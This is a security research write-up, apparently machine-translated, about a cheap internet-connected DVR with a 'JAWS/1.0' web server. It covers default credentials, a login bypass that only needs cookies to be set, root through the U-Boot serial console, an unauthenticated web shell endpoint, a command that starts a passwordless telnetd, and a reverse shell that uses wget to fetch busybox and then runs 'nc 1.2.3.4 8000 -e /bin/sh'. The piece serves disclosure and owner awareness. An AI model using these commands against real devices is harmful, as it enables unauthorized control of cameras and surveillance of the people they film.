How many insecure factors does a closed-circuit television probe have?

How many insecure factors does a closed-circuit television probe have?

 

 

Closed-circuit television probes are everywhere in our lives. A recent survey estimates that about 1.85 million of surveillance cameras are in the UK, most of which are in private homes. Most probes are connected to some video devices, that is, DVRs ).

The DVR stores videos from multiple cameras on one hard disk. They not only display images on the screen, but most of them can also be connected to the Internet. Users can connect to them through browsers or clients.

Of course, both the merchant and the owner will want to remotely access the DVR. the DVR device is connected to the Internet through port forwarding. Because of this, we can find a large number of DVR devices on Shodan.

So we are going to buy a cheap DVR to see if it is even worse.

 

 

After several hours of mining, we found the following problems:

Easy to find

This DVR runs a client web server, and its HTTP server header is very iconic:"JAWS/1.0". Search for this keyword on Shodan. We found 44,000 devices.

 

 

Weak Password Problems

By default, the user name of this device is admin and the password is blank.

 

 

After connecting to the TV, use the local interface of the DVR to change the password. However, the device does not have a keyboard, so it is certain that a large number of such DVRs use the default password.

Although the weak password is a problem, it is still a common problem in the IOT field.

Web verification Bypass

.

The strange thing is that when we empty cookiesand preview 2.html, we can see the page closed, and then redirect us to index.html to let us lose the password.

This is basically a sign of JavaScript client verification. Check view2.js and we find that:

$(document).ready(function(){    dvr_camcnt =Cookies.get(“dvr_camcnt");    dvr_usr =Cookies.get("dvr_usr");    dvr_pwd =Cookies.get("dvr_pwd");    if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)    {        location.href= "/index.html";    }

 

 

As long as these three cookies have any value, you can access them (dvr_camcnt must be 2, 4, 8, or 24 ).

 

 

You can set these cookies manually. In other words, we do not need to know the user name and password.

 

 

Open the serial number Console

Although it is fun to get Web interface control, I still need root shell.

After opening the lid on the machine, we found J18. This is a 115200 serial port, although I can see the output, but there is no shell, there is no place to input.

After the device is restarted, we find that it uses uboot, a very common open-source boot loader. Press any key to interrupt uboot. However, you only have one second to interrupt uboot, so you may try several more times.

Now we can go to the uboot console. We can modify the startup parameter to single-user mode, so we do not need to log on with a password.

setenv bootargs ${bootargs) singleboot

 

 

 

Now the DVR is in single-user mode, and we also have the root shell, so we can do something tricky.

Built-in web shell

The local root shell is good, but I still want a remote shell.

After checking the firmware, we found that most of the functions are in dvr_app, including web servers. Although the cgi-bin directory exists on the web interface, I cannot find it on the file server. It is possible that dvr_app processes the directory internally. This situation is common in embedded devices.

Run the strings command on the binary file to view cgi-bin. We also see other values, including moo and shell.

 

 

This is the case when accessing the moo directory:

 

 

Accessing the shell directory will always load, but accessing the shell? Ps, you can see the process list:

 

 

Therefore, we get a remote shell that does not require authentication. This shell cannot be disabled and is included in the device.

Logon to Telnet without a password

The device runs telnet on port 23, but the root password is required. Even if we can see/etc/passwd and decrypt the hash, we still cannot get the password.

 

 

We can use the password cracking tool to check whether the password can be obtained, but it takes some time.

To solve this problem, we use the remote web shell to open a new Login telnet daemon:

http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25

Now we can log on to telnet.

 

 

Reverse shell

Attackers can use the bounce shell to reverse connect the DVR to the host controlled by the DVR. This method works as long as the user has an egress connection. This is a good way to bypass NAT and firewall. Most household enterprises and small enterprise networks do not perform outbound filtering.

We usually use netcat to create a reverse shell. Like other small embedded devices, this DVR uses busybox to provide a shiny shell function. These commands are arbitrary. Unfortunately, netcat cannot be used, but we can solve it.

The DVR uses an ARM processor. That is to say, it is basically impossible to directly download netcat or busybox. We have to compile it.

It is embarrassing to compile embedded systems, especially when you need to interact with hardware. Fortunately, busybox and netcat do not have many requirements. We only need to create static link binary for the architecture. This requires static links to avoid library dependencies. This will increase the size of the binary file, but the device does not have sufficient disk space.

After the compilation is complete, we can try it on the DVR.

Find a writable directory. Most file systems are read-only, and you cannot even change the password to add users. After all, this is a DVR, so we have a hard disk loaded under/root/rec/a1.

Use wget to download the compiled busybox binary to this directory

Set busybox to Executable

Run netcat rebound shell

The command is as follows:

http://192.168.3.101/shell?cd /root/rec/a1 && wget%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bx busybox&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh

 

 

The Wget URL must be encoded. The actual URL is:

Http: // 1.2.3.4/busybox

The netcat on our server listens to a connection. By accessing the constructed URL, we can interact with the DVR.

 

 

Send screenshots to hardcoded mailboxes

We further checked the dvr_app binary and found some strange functions.

 

 

I don't know why, the screenshot of the first camera will be sent[Email protected].

Sending DVR screenshots seriously threatens privacy.

It is strange that someone once reported this on Frank Law's GitHub page:

Https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1

Then he removed the project.

Other problems

This is not completely over. This device has other problems:

If you get shell or command injection through the web server, you do not need to escalate the permission. You are already root.

This device is not protected by CSRF. you can trick users into clicking a link to perform actions as they are.

No account locking or explosion-proof measures. You can keep guessing the password. The only limit on the frequency is the running speed of the device.

No HTTPS. All communications are sent in plain text. They can be intercepted or tampered.

No firmware upgrade

Our Suggestions

If you put these devices on the internet, you will face serious security risks. If you forward the web interface port, attackers are allowed to completely control the device. Then they can use this as a springboard to attack other devices on your network from the inside.